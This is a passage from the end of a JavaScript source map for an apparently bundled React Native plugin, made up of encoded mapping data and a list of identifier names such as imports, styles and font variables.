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","names":["import_react","import_react_native","import_core","import_react","import_react_native","import_core","import_plugin_runtime","import_react_native","import_core","import_plugin_runtime","import_react","import_core","import_plugin_runtime","import_react","import_react_native","import_core","import_plugin_runtime","import_react","import_react_native","import_core","import_plugin_runtime","import_react","import_react_native","import_core","import_react","import_core","data","import_jsx_runtime","styles","import_jsx_runtime","React","styles","import_jsx_runtime","import_jsx_runtime","import_jsx_runtime","styles","import_react_native","import_core","import_jsx_runtime","fontFam","styles","import_react_native","import_core","import_jsx_runtime","fontFam","styles","import_zustand","import_jsx_runtime","fontFam","styles","Markdown","import_react_native","import_plugin_runtime","import_jsx_runtime","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","styles","Svg","import_react_native","import_core","import_jsx_runtime","styles","import_jsx_runtime","isSameDay","styles","import_react","import_react_native","import_react_native_webview","import_core","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_jsx_runtime","fontFam","styles","import_react_native","import_core","import_jsx_runtime","WARM_AMBER","WARM_AMBER_SOFT","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_react_native_svg","import_core","import_plugin_runtime","import_react","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","Svg","import_react","import_react_native","import_react_native_webview","import_jsx_runtime","s","styles","import_react","import_react_native","import_core","import_jsx_runtime","fontFam","styles"]}
|